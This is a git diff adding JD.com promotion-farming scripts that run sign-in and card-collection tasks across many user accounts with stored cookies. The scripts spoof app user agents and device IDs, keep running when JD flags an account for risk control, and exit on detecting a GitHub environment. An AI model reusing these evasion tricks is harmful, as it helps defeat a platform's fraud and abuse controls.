o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed_signfree.js b/jd_speed_signfree.js new file mode 100644 index 0000000..4c3de60 --- /dev/null +++ b/jd_speed_signfree.js @@ -0,0 +1,214 @@ +/* + 入口>京东极速版>首页>签到免单 + 京东极速版,先下单,第二天开始签到 + 18 8,12,20 * * * jd_speed_signfree.js 签到免单 +*/ +const $ = new Env('京东极速版签到免单') +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.message = "\n"; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.mian_dan_list = [] + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + //await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.message += `【京东账号】${$.nickName || $.UserName}\n` + await get_order_ids(cookie) + if ($.mian_dan_list.length > 0) { + for (let i = 0; i < $.mian_dan_list.length; i++) { + const orderId = $.mian_dan_list[i]; + await sign(cookie, orderId); + await $.wait(2000) + } + } + } + } + // notify.sendNotify(`${$.name}`, $.message); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function get_order_ids(cookie) { + return new Promise(resolve => { + try { + $.get({ + url: `https://api.m.jd.com/?functionId=signFreeHome&body=%7B%22linkId%22%3A%22PiuLvM8vamONsWzC0wqBGQ%22%7D&_t=${Date.now()}&appid=activities_platform`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + 'sec-fetch-dest': 'empty', + 'x-requested-with': 'com.jd.jdlite', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'referer': 'https://signfree.jd.com/?activityId=PiuLvM8vamONsWzC0wqBGQ&lng=107.647085&lat=30.280608&sid=2c81fdcf0d34f67bacc5df5b2a4add6w&un_area=4_134_19915_0', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': cookie + } + }, (err, resp, data) => { + data = JSON.parse(data) + if (data.success == true) { + if (data.data.risk == true) { + console.log("风控用户,继续操作"); + $.message += "风控用户,继续操作\n" + // console.log("风控用户,跳过"); + // $.message += "风控用户,跳过\n" + // resolve() + // return + } + if (!data.data.signFreeOrderInfoList) { + console.log("没有需要签到的商品,请到京东极速版[签到免单]购买商品"); + $.message += "没有需要签到的商品,请到京东极速版[签到免单]购买商品\n" + resolve() + } else { + for (let i = 0; i < data.data.signFreeOrderInfoList.length; i++) { + var respdemo = { "success": true, "code": 0, "errMsg": "success", "data": { "newUser": false, "backRecord": false, "risk": false, "surplusCount": 2, "sumTotalFreeAmount": "0.00", "signFreeOrderInfoList": [{ "id": 472, "productName": "百事可乐 300ml*6瓶", "productImg": "jfs/t1/177052/32/20077/117620/611e1a4cE0065cc54/b19fb6ed2ff59493.jpg", "needSignDays": 20, "hasSignDays": 0, "freeAmount": "6.54", "moneyReceiveMode": "3", "orderId": 225947891472, "surplusTime": 0, "combination": 1 }], "interruptInfoList": null } } + const order = data.data.signFreeOrderInfoList[i]; + $.mian_dan_list.push(order.orderId) + console.log(`商品名称:${order.productName},商品id:${order.orderId}`); + $.message += `商品名称:${order.productName}\n` + } + } + } + resolve() + }) + } catch (error) { + $.logErr(e, resp) + resolve() + } + + + }) +} +function sign(cookie, orderId) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com?functionId=signFreeSignIn&body=%7B%22linkId%22%3A%22PiuLvM8vamONsWzC0wqBGQ%22%2C%22orderId%22%3A${orderId}%7D&_t=${Date.now()}&appid=activities_platform`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + 'sec-fetch-dest': 'empty', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'content-type': 'application/x-www-form-urlencoded', + 'x-requested-with': 'com.jd.jdlite', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'referer': 'https://signfree.jd.com/?activityId=PiuLvM8vamONsWzC0wqBGQ&lng=107.647085&lat=30.280608&sid=2c81fdcf0d34f67bacc5df5b2a4add6w&un_area=4_134_19915_0', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': cookie + }, + } + $.post(options, async (err, resp, data) => { + try { + console.log(data); + data = JSON.parse(data) + var dataDemo = { "success": false, "code": 400015, "errMsg": "明日签到", "data": null } + if (data.success == false) { + console.log(data.errMsg); + } else { + console.log("签到成功"); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || ""); + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_superBrand.js b/jd_superBrand.js new file mode 100644 index 0000000..389a442 --- /dev/null +++ b/jd_superBrand.js @@ -0,0 +1,363 @@ +/* + 特务集卡 + 脚本没有自动开卡,会尝试领取开卡奖励 +cron:35 10,18,20 * * * + +35 10,18,20 * * * jd_superBrand.js +* */ +const $ = new Env('特务Z-II'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.helpEncryptAssignmentId = ''; +$.flag = false +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try{ + await main(); + }catch (e) { + console.log(JSON.stringify(e)); + } + if ($.flag) return; + await $.wait(1000); + } + if($.allInvite.length > 0 ){ + console.log(`\n开始脚本内互助\n`); + } + cookiesArr = getRandomArrayElements(cookiesArr,cookiesArr.length); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; 